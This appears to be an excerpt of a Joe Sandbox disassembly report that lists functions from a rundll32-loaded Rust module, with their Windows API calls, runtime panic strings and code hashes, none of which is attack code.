Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID: NulErrorUtf8Errorvalid_up_toerror_len$use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs
API String ID: 1574541344-1776713852
Opcode ID: e1243eefa854f0e7532c48bb743639e8e4978f8c5edd8a39ac4ab7cc391ebf38
Instruction ID: 8acfdb06a2939ff2309583cf91b4ca50e473f60605967ec7790d9a8afe645bb1
Opcode Fuzzy Hash: e1243eefa854f0e7532c48bb743639e8e4978f8c5edd8a39ac4ab7cc391ebf38
Instruction Fuzzy Hash: 86510471A002888FCB14CF69C884BEEBBF9EB49754F14416AD808A7B81D7359946CF91

Function 6CB8BD92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 99threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 6CB8BDC2

Strings

assertion failed: (*next).value.is_some(), xrefs: 6CB8BEA2
called `Result::unwrap()` on an `Err` value, xrefs: 6CB8BEC5
assertion failed: (*tail).value.is_none(), xrefs: 6CB8BE90

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: SwitchThread
String ID: assertion failed: (*next).value.is_some()$assertion failed: (*tail).value.is_none()$called `Result::unwrap()` on an `Err` value
API String ID: 115865932-1206542395
Opcode ID: c7491c44d5aab56e1d015833adea4a7c609c038b665ef3d00123d1a3aad9b907
Instruction ID: 278db3249a34a6d42ada5ece6326bbd0a44eebd4e8eef99c1a1ccd91b3a118fb
Opcode Fuzzy Hash: c7491c44d5aab56e1d015833adea4a7c609c038b665ef3d00123d1a3aad9b907
Instruction Fuzzy Hash: 5A31E131606B868FD710CF34C85076EB7E1EF8635AF10881DE9989BB51EB70D885C762

Function 6CBDC6ED Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90encryptionCOMMON

Download Yara Rule

APIs

CertDuplicateCertificateContext.CRYPT32(?), ref: 6CBDC7FC
CertOpenStore.CRYPT32(00000002,00000000,00000000,00000000,00000000), ref: 6CBDC817
CertFreeCertificateContext.CRYPT32(00000046), ref: 6CBDC883
GetLastError.KERNEL32 ref: 6CBDC890
CertFreeCertificateContext.CRYPT32(?), ref: 6CBDC917

Strings

P(Hu, xrefs: 6CBDC883

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Cert$CertificateContext$Free$DuplicateErrorLastOpenStore
String ID: P(Hu
API String ID: 721414120-3302524760
Opcode ID: a8c90bf1c630bbd2790fd33a1dcaa73e7bff5c7ef397bc0e20969a90c304920e
Instruction ID: 74b9ff84f063ad671b1d9fdf30386e51ad108cf39909deb9dbc1d2e175594a62
Opcode Fuzzy Hash: a8c90bf1c630bbd2790fd33a1dcaa73e7bff5c7ef397bc0e20969a90c304920e
Instruction Fuzzy Hash: C94134B550D7C18FD3228F2480807DBBBE0AF9A319F148A5DEAD857382C771A485CB57

Function 6CBE91A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6CBE91A8
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6CBE91B8

Strings

kernel32, xrefs: 6CBE91A3
SetThreadDescription, xrefs: 6CBE91B2

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: b5a6b206b1705010d11178b82b14f8884b1ae4939122f77373456dda84c794ce
Instruction ID: 4f51cd03a0c400c78c20bb7f012d699ca211dfc833265cec56a1faf1fa6fb59d
Opcode Fuzzy Hash: b5a6b206b1705010d11178b82b14f8884b1ae4939122f77373456dda84c794ce
Instruction Fuzzy Hash: 63D05EB0BCC6407B5A580A628C2D67537E9868A8C4340082CD922C5E00EB21C82A829B

Function 6CBAF807 Relevance: 6.5, APIs: 5, Instructions: 229COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000AC), ref: 6CBAF9AA
memmove.VCRUNTIME140(?,?,000000AC), ref: 6CBAF9F0
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBAFA20

Part of subcall function 6CBC3A0F: memmove.VCRUNTIME140(00000000,?,000000B8,?,?,6CBAFA35), ref: 6CBC3A29

memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBAFA5E
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBAFAA7

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 3b51dd3324827822860904831cee7934f1c23aefd1a5b3cf3bc0d5f50ac01984
Instruction ID: be0855ecb891c7e3766cce0b78d99ea1245520a93f3972d430ddbfefa0292af1
Opcode Fuzzy Hash: 3b51dd3324827822860904831cee7934f1c23aefd1a5b3cf3bc0d5f50ac01984
Instruction Fuzzy Hash: 9CA14E756087819FCB11CF64C4907DAB7E1EF8A304F08856AECC95F746DB70994ACB62

Function 6CBD7FD8 Relevance: 6.5, APIs: 5, Instructions: 228COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000AC), ref: 6CBD8176
memmove.VCRUNTIME140(?,?,000000AC), ref: 6CBD81BC
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBD81EC

Part of subcall function 6CBC3A0F: memmove.VCRUNTIME140(00000000,?,000000B8,?,?,6CBAFA35), ref: 6CBC3A29

memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBD822A
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBD8273

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: aebcf0d0bcd271e771aa587bce04cf73270ca4cae9b78049f01da5e3378d3468
Instruction ID: 6b871429e2af15d40f53b4e2068df694cc02aef5c74da1ed0a4ca15c2d4965dc
Opcode Fuzzy Hash: aebcf0d0bcd271e771aa587bce04cf73270ca4cae9b78049f01da5e3378d3468
Instruction Fuzzy Hash: 66A16F755087809FCB11CF24C4807DAB7E1AF8A314F09896EEC8D5F746DB71A949CBA2

Function 6CB997E4 Relevance: 6.5, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000009C), ref: 6CB99998
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CB999BF
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CB999EE
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CB99A1A
memmove.VCRUNTIME140(?,?,00000090), ref: 6CB99AA0

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 6e7c3f0f7be93f81bdd00f71ce2aeed2a58b85ca8c9e32199ea54de918823ef3
Instruction ID: 6ec69070ac8a78cde7c1a7f4b45f78fbefbdca9ed3db47c6bc575fc6fcd534d0
Opcode Fuzzy Hash: 6e7c3f0f7be93f81bdd00f71ce2aeed2a58b85ca8c9e32199ea54de918823ef3
Instruction Fuzzy Hash: DE81AB729083459FC755CF64C480B9AF7E5FF89318F048969E48D9B750EB70E949CB82

Function 6CC032CC Relevance: 6.4, APIs: 2, Strings: 2, Instructions: 383COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CC0340E
memmove.VCRUNTIME140(00000000,?,?), ref: 6CC0351D

Part of subcall function 6CB65AF0: RtlReAllocateHeap.NTDLL(00000000,?,6CBE8F66,?,?,?,?,?,6CBE8F66,?,?,?,?,?), ref: 6CB65B0E

Strings

capacity overflow, xrefs: 6CC0373C, 6CC037A2
called `Result::unwrap()` on an `Err` value, xrefs: 6CC03777

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$AllocateHeap
String ID: called `Result::unwrap()` on an `Err` value$capacity overflow
API String ID: 1771830547-2618782069
Opcode ID: 94ee2905b4503b0d3d0650d17173255eec1f032179fe5e3fd48c36f276250554
Instruction ID: 244c9fcef51868c9e0b82e8521f0385567ee6ed182f9d6390bcd4cb484c62f0e
Opcode Fuzzy Hash: 94ee2905b4503b0d3d0650d17173255eec1f032179fe5e3fd48c36f276250554
Instruction Fuzzy Hash: 53E15A707093419FD728CF19C490A6EB7E1BFC9318F14892EE5999BB50E732E845CB92

Function 6CBB7E80 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 271COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000098,00000098), ref: 6CBB81A2
memmove.VCRUNTIME140(00000000,?,00000738), ref: 6CBB81F1

Strings

slash is a valid path, xrefs: 6CBB8262
scheme is valid, xrefs: 6CBB80D0

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: scheme is valid$slash is a valid path
API String ID: 2162964266-3029000764
Opcode ID: ca37f710b60f56bd04bcd1dd8027385ddf13a4d64cff377cae7b74d450af06e3
Instruction ID: b246f6b3df40b7f4b2739af5cfe66d2a55c5584de27a4eb6b29cb4a4bd7467c5
Opcode Fuzzy Hash: ca37f710b60f56bd04bcd1dd8027385ddf13a4d64cff377cae7b74d450af06e3
Instruction Fuzzy Hash: 73B1C431A04B828BD721CF24C4507AEB7E1BFC5358F14891DE8886F781EB75994ACB82

Function 6CB903E1 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CB90491
memmove.VCRUNTIME140(00000000,?,?), ref: 6CB90570

Strings

capacity overflow, xrefs: 6CB9059B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: capacity overflow
API String ID: 2162964266-2273299319
Opcode ID: 8060867509e049a2242fdbd9bc061e9e76eac15a2b4f71cf9fffd581d2ab7c67
Instruction ID: 31775a59f47206434b31cdf9c5cf354692daf20fba8ff66986bb7267299bbd8c
Opcode Fuzzy Hash: 8060867509e049a2242fdbd9bc061e9e76eac15a2b4f71cf9fffd581d2ab7c67
Instruction Fuzzy Hash: C471E570A046829BC304DF19E49066EF3A5FF8A714F10863DD8594BB50E735EC55CB81

Function 6CBAD18E Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 6CB8BF6A: memmove.VCRUNTIME140(?,?,00000029), ref: 6CB8C011

Part of subcall function 6CB8C01E: memmove.VCRUNTIME140(?,?,00000029), ref: 6CB8C112

memmove.VCRUNTIME140(?,?,00000029), ref: 6CBAD2D9
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBAD33F

Strings

scheme and authority is valid Uri, xrefs: 6CBAD39E
called `Result::unwrap()` on an `Err` value, xrefs: 6CBAD380

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: called `Result::unwrap()` on an `Err` value$scheme and authority is valid Uri
API String ID: 2162964266-1220905182
Opcode ID: ca09e4ba2601c6b6af4b74a3fccff427919dceb038b19437beca994059298b81
Instruction ID: 30003f2680901bcaf0e7a51c0fd5d23f9b49c78149e07595d5b2677ae3eed5f4
Opcode Fuzzy Hash: ca09e4ba2601c6b6af4b74a3fccff427919dceb038b19437beca994059298b81
Instruction Fuzzy Hash: AF818B35509B819BC321CF25D4506AFFBF4EFDA744F04890EE8D91BA41DB30A55ACB92

Function 6CB913FC Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CB914A3
memmove.VCRUNTIME140(00000000,?,?), ref: 6CB915A4

Strings

capacity overflow, xrefs: 6CB915CA
called `Result::unwrap()` on an `Err` value, xrefs: 6CB915FF

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: called `Result::unwrap()` on an `Err` value$capacity overflow
API String ID: 2162964266-2618782069
Opcode ID: 729e90a8e808c2215d966be7e1bac770a5c3b06362e5cf341df803abe96b61ee
Instruction ID: 9336d5e6a11743cc5f81c3c44c38d3853c36aa919cd2497d9189db76375d4618
Opcode Fuzzy Hash: 729e90a8e808c2215d966be7e1bac770a5c3b06362e5cf341df803abe96b61ee
Instruction Fuzzy Hash: D651B3706046429BC714CF19C48069AF7E9EF8A718F18893DE89A5BB50E731EC55DB82

Function 6CB905BC Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CB90655
memmove.VCRUNTIME140(00000000,?,?), ref: 6CB9074B

Strings

capacity overflow, xrefs: 6CB9059B, 6CB9076E
called `Result::unwrap()` on an `Err` value, xrefs: 6CB907A3

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: called `Result::unwrap()` on an `Err` value$capacity overflow
API String ID: 2162964266-2618782069
Opcode ID: 23b2fac355096829ba53da3a4d335a342e353a34fcf17af9be76c1e3c4a43f55
Instruction ID: ef5e4b3ab23de8555ef5ae78853e4cf6aa40d5b7deac664910bcace835546315
Opcode Fuzzy Hash: 23b2fac355096829ba53da3a4d335a342e353a34fcf17af9be76c1e3c4a43f55
Instruction Fuzzy Hash: A551B1706087859FC704DF19D590A5AB7E5FFCA308F10893DD8594BB51EB31E899CB82

Function 6CBF99FB Relevance: 6.1, APIs: 4, Instructions: 92synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CBF9A2C
CloseHandle.KERNEL32(?), ref: 6CBF9A3A
GetLastError.KERNEL32 ref: 6CBF9AA5
CloseHandle.KERNEL32(?), ref: 6CBF9B06

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: CloseHandle$ErrorLastObjectSingleWait
String ID:
API String ID: 1454876536-0
Opcode ID: bd5014e58d4edfcde8a453b749ffe87ef837e4bee0b219172c9f63f183352505
Instruction ID: e87c08b751a9cc1f7c3c0fdd2aadf8efc5f3222ce370de30a2a667ce1d5a2538
Opcode Fuzzy Hash: bd5014e58d4edfcde8a453b749ffe87ef837e4bee0b219172c9f63f183352505
Instruction Fuzzy Hash: 8C31F2B1A007448FCB05DF64D844B9ABBB4FF48328F14856DD41AABB51E736D44ACFA1

Function 6CBCF406 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBCF463
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBCF4C2
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBCF4F6

Strings

assertion failed: slot.next.is_none(), xrefs: 6CBCF513

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: assertion failed: slot.next.is_none()
API String ID: 2162964266-2530839625
Opcode ID: 0267341bd05189c089add218f4205043d6f37d5a06c3d1245a0675efdbe35b1f
Instruction ID: 382cea3c23e4fb2e86815971911b20f3a1395157db3687698526f505c379ecf7
Opcode Fuzzy Hash: 0267341bd05189c089add218f4205043d6f37d5a06c3d1245a0675efdbe35b1f
Instruction Fuzzy Hash: 5E318CB06043419FE711DF14D891B5ABBA4FF80348F1089ADE8984FB91E772E894CB53

Function 6CC00FFE Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6CC0104B

Part of subcall function 6CC013C6: InitializeSListHead.KERNEL32(6CC62168,6CC01055,6CC609F0,00000010,6CC00FE6,?,?,?,6CC0120C,?,00000001,?,?,00000001,?,6CC60A38), ref: 6CC013CB

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CC0621C,6CC06220,6CC609F0,00000010,6CC00FE6,?,?,?,6CC0120C,?,00000001,?,?,00000001,?,6CC60A38), ref: 6CC01064
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CC06214,6CC06218,6CC609F0,00000010,6CC00FE6,?,?,?,6CC0120C,?,00000001,?,?,00000001,?,6CC60A38), ref: 6CC01082
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CC010B5

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: 9a65f5a096819eabac376327274e80d5416b55e4b06f43a0f64094b180fbfd08
Instruction ID: 0e84765b2f733c14a67d6b51a33dbb7b9553a6a0e2e7d3035304d8b1a29a1f58
Opcode Fuzzy Hash: 9a65f5a096819eabac376327274e80d5416b55e4b06f43a0f64094b180fbfd08
Instruction Fuzzy Hash: 5D21DE313897499ADB106BFE98147ECB3B1AB1222DF144519D581ABFC0FB23C14AA666

Function 6CBEEEA0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 302COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?), ref: 6CBEEFFE
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(6CC62124), ref: 6CBEF203

Strings

use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs, xrefs: 6CBEF2EC

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressSingleWake
String ID: use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs
API String ID: 3114109732-459553403
Opcode ID: 453ea8ba36804a26f7df9fa50ce409813447f3662725ad1a0cd399c6092976f9
Instruction ID: 90144ad6a0117e6a70a98296118011cc71c376219e9d1b562a556b500845111a
Opcode Fuzzy Hash: 453ea8ba36804a26f7df9fa50ce409813447f3662725ad1a0cd399c6092976f9
Instruction Fuzzy Hash: C4D1F3B4A00288CFDB00CFA5D494BEEBBB1FF4A748F144169D516ABB81D7369846CB91

Function 6CBEA520 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(00000000,000000FF,00000001,000000FF), ref: 6CBEA645
GetLastError.KERNEL32 ref: 6CBEA64C

Strings

use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs, xrefs: 6CBEA65A

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID: use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs
API String ID: 1574541344-459553403
Opcode ID: 194d2d52261b777849016b1c2a24990beb79a73c4b2d32e59994559f1e7af092
Instruction ID: 5d12c7696f62d49ed7f0d1fcc0f538eee8cf59889872da9904be49784ca8b9e0
Opcode Fuzzy Hash: 194d2d52261b777849016b1c2a24990beb79a73c4b2d32e59994559f1e7af092
Instruction Fuzzy Hash: E3411574A041C4CFDB11CF58C494BAEBBF4EB0BB58F1041AAD815ABB81D736A806CF91

Function 6CB894B9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32(?,?,6CB8BE07), ref: 6CB894D2

Strings

assertion failed: (*next).value.is_some(), xrefs: 6CB8950D
